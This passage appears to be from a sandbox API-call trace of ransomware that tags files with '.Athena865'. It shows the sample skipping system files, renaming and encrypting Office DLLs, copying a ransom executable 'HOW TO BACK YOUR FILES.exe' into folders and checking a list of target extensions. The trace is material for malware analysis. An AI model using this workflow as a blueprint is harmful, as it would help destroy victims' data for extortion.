(lpString=".ini") returned 4 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2=".ini") returned 1 [0081.347] lstrlenW (lpString=".sys") returned 4 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2=".sys") returned 1 [0081.347] lstrlenW (lpString="ONBttnOL.dll") returned 12 [0081.347] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnOL.dll.Athena865") returned 65 [0081.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnOL.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnol.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnOL.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnol.dll.athena865"), dwFlags=0x1) returned 1 [0081.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnOL.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnol.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0081.348] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=900480) returned 1 [0081.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.349] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.349] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.349] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.349] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc080, lpName=0x0) returned 0x17c [0081.351] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc080) returned 0x2d50000 [0081.395] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.396] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.396] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.397] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.404] CloseHandle (hObject=0x17c) returned 1 [0081.404] CloseHandle (hObject=0x154) returned 1 [0081.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.408] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="ONBTTN~2.DLL")) returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2=".") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="..") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="windows") returned -1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="bootmgr") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="temp") returned -1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="pagefile.sys") returned -1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="boot") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="ids.txt") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="ntuser.dat") returned 1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="perflogs") returned -1 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2="MSBuild") returned 1 [0081.409] lstrlenW (lpString="ONBttnPPT.dll") returned 13 [0081.409] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONBttnPPT.dll" | out: lpString1="ONBttnPPT.dll") returned="ONBttnPPT.dll" [0081.409] lstrlenW (lpString="ONBttnPPT.dll") returned 13 [0081.409] lstrlenW (lpString="Athena865") returned 9 [0081.409] lstrcmpiW (lpString1="tnPPT.dll", lpString2="Athena865") returned 1 [0081.409] lstrlenW (lpString=".dll") returned 4 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2=".dll") returned 1 [0081.409] lstrlenW (lpString=".lnk") returned 4 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2=".lnk") returned 1 [0081.409] lstrlenW (lpString=".ini") returned 4 [0081.409] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2=".ini") returned 1 [0081.409] lstrlenW (lpString=".sys") returned 4 [0081.410] lstrcmpiW (lpString1="ONBttnPPT.dll", lpString2=".sys") returned 1 [0081.410] lstrlenW (lpString="ONBttnPPT.dll") returned 13 [0081.410] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnPPT.dll.Athena865") returned 66 [0081.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnPPT.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnppt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnPPT.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnppt.dll.athena865"), dwFlags=0x1) returned 1 [0081.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnPPT.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnppt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0081.411] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=644480) returned 1 [0081.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.411] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.412] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.412] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.412] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d880, lpName=0x0) returned 0x17c [0081.413] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d880) returned 0x2d50000 [0081.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.435] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.435] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.436] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.441] CloseHandle (hObject=0x17c) returned 1 [0081.441] CloseHandle (hObject=0x154) returned 1 [0081.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.444] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2=".") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="..") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="windows") returned -1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="bootmgr") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="temp") returned -1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="pagefile.sys") returned -1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="boot") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="ids.txt") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="ntuser.dat") returned 1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="perflogs") returned -1 [0081.444] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2="MSBuild") returned 1 [0081.444] lstrlenW (lpString="ONBttnWD.dll") returned 12 [0081.444] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONBttnWD.dll" | out: lpString1="ONBttnWD.dll") returned="ONBttnWD.dll" [0081.444] lstrlenW (lpString="ONBttnWD.dll") returned 12 [0081.445] lstrlenW (lpString="Athena865") returned 9 [0081.445] lstrcmpiW (lpString1="ttnWD.dll", lpString2="Athena865") returned 1 [0081.445] lstrlenW (lpString=".dll") returned 4 [0081.445] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2=".dll") returned 1 [0081.445] lstrlenW (lpString=".lnk") returned 4 [0081.445] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2=".lnk") returned 1 [0081.445] lstrlenW (lpString=".ini") returned 4 [0081.445] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2=".ini") returned 1 [0081.445] lstrlenW (lpString=".sys") returned 4 [0081.445] lstrcmpiW (lpString1="ONBttnWD.dll", lpString2=".sys") returned 1 [0081.445] lstrlenW (lpString="ONBttnWD.dll") returned 12 [0081.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnWD.dll.Athena865") returned 65 [0081.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnWD.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnwd.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnWD.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnwd.dll.athena865"), dwFlags=0x1) returned 1 [0081.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnWD.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnwd.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0081.446] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=644472) returned 1 [0081.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.446] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.447] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.447] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.447] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d880, lpName=0x0) returned 0x17c [0081.449] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d880) returned 0x2d50000 [0081.472] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.473] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.473] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.473] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.479] CloseHandle (hObject=0x17c) returned 1 [0081.479] CloseHandle (hObject=0x154) returned 1 [0081.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.481] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0081.481] lstrcmpiW (lpString1="OneNote", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.481] lstrcmpiW (lpString1="OneNote", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.481] lstrcmpiW (lpString1="OneNote", lpString2=".") returned 1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="..") returned 1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="windows") returned -1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="bootmgr") returned 1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="temp") returned -1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="pagefile.sys") returned -1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="boot") returned 1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="ids.txt") returned 1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="ntuser.dat") returned 1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="perflogs") returned -1 [0081.482] lstrcmpiW (lpString1="OneNote", lpString2="MSBuild") returned 1 [0081.482] lstrlenW (lpString="OneNote") returned 7 [0081.482] lstrcpyW (in: lpString1=0x241e89e, lpString2="OneNote" | out: lpString1="OneNote") returned="OneNote" [0081.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b6f0 [0081.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53a110 [0081.482] lstrcatW (in: lpString1="OneNote", lpString2="\\" | out: lpString1="OneNote\\") returned="OneNote\\" [0081.482] lstrcatW (in: lpString1="OneNote\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OneNote\\HOW TO BACK YOUR FILES.exe") returned="OneNote\\HOW TO BACK YOUR FILES.exe" [0081.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\how to back your files.exe"), bFailIfExists=1) returned 1 [0081.487] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2=".") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="..") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="windows") returned -1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="bootmgr") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="temp") returned -1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="pagefile.sys") returned -1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="boot") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="ids.txt") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="ntuser.dat") returned 1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="perflogs") returned -1 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="MSBuild") returned 1 [0081.487] lstrlenW (lpString="ONENOTE.EXE") returned 11 [0081.487] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONENOTE.EXE" | out: lpString1="ONENOTE.EXE") returned="ONENOTE.EXE" [0081.487] lstrlenW (lpString="ONENOTE.EXE") returned 11 [0081.487] lstrlenW (lpString="Athena865") returned 9 [0081.487] lstrcmpiW (lpString1="ENOTE.EXE", lpString2="Athena865") returned 1 [0081.487] lstrlenW (lpString=".dll") returned 4 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2=".dll") returned 1 [0081.487] lstrlenW (lpString=".lnk") returned 4 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2=".lnk") returned 1 [0081.487] lstrlenW (lpString=".ini") returned 4 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2=".ini") returned 1 [0081.487] lstrlenW (lpString=".sys") returned 4 [0081.487] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2=".sys") returned 1 [0081.487] lstrlenW (lpString="ONENOTE.EXE") returned 11 [0081.487] lstrlenW (lpString="bak") returned 3 [0081.487] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0081.487] lstrlenW (lpString="ba_") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0081.488] lstrlenW (lpString="dbb") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0081.488] lstrlenW (lpString="vmdk") returned 4 [0081.488] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0081.488] lstrlenW (lpString="rar") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0081.488] lstrlenW (lpString="zip") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0081.488] lstrlenW (lpString="tgz") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0081.488] lstrlenW (lpString="vbox") returned 4 [0081.488] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0081.488] lstrlenW (lpString="vdi") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0081.488] lstrlenW (lpString="vhd") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0081.488] lstrlenW (lpString="vhdx") returned 4 [0081.488] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0081.488] lstrlenW (lpString="avhd") returned 4 [0081.488] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0081.488] lstrlenW (lpString="db") returned 2 [0081.488] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0081.488] lstrlenW (lpString="db2") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0081.488] lstrlenW (lpString="db3") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0081.488] lstrlenW (lpString="dbf") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0081.488] lstrlenW (lpString="mdf") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0081.488] lstrlenW (lpString="mdb") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0081.488] lstrlenW (lpString="sql") returned 3 [0081.488] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0081.489] lstrlenW (lpString="sqlite") returned 6 [0081.489] lstrcmpiW (lpString1="TE.EXE", lpString2="sqlite") returned 1 [0081.489] lstrlenW (lpString="sqlite3") returned 7 [0081.489] lstrcmpiW (lpString1="OTE.EXE", lpString2="sqlite3") returned -1 [0081.489] lstrlenW (lpString="sqlitedb") returned 8 [0081.489] lstrcmpiW (lpString1="NOTE.EXE", lpString2="sqlitedb") returned -1 [0081.489] lstrlenW (lpString="xml") returned 3 [0081.489] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0081.489] lstrlenW (lpString="$er") returned 3 [0081.489] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0081.489] lstrlenW (lpString="4dd") returned 3 [0081.489] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0081.489] lstrlenW (lpString="4dl") returned 3 [0081.489] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0081.489] lstrlenW (lpString="^^^") returned 3 [0081.489] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0081.489] lstrlenW (lpString="abs") returned 3 [0081.489] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0081.489] lstrlenW (lpString="abx") returned 3 [0081.489] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0081.489] lstrlenW (lpString="accdb") returned 5 [0081.489] lstrcmpiW (lpString1="E.EXE", lpString2="accdb") returned 1 [0081.489] lstrlenW (lpString="accdc") returned 5 [0081.489] lstrcmpiW (lpString1="E.EXE", lpString2="accdc") returned 1 [0081.489] lstrlenW (lpString="accde") returned 5 [0081.489] lstrcmpiW (lpString1="E.EXE", lpString2="accde") returned 1 [0081.489] lstrlenW (lpString="accdr") returned 5 [0081.489] lstrcmpiW (lpString1="E.EXE", lpString2="accdr") returned 1 [0081.489] lstrlenW (lpString="accdt") returned 5 [0081.489] lstrcmpiW (lpString1="E.EXE", lpString2="accdt") returned 1 [0081.489] lstrlenW (lpString="accdw") returned 5 [0081.489] lstrcmpiW 